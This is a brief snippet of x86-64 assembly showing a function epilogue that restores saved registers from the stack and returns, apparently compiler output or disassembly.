mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret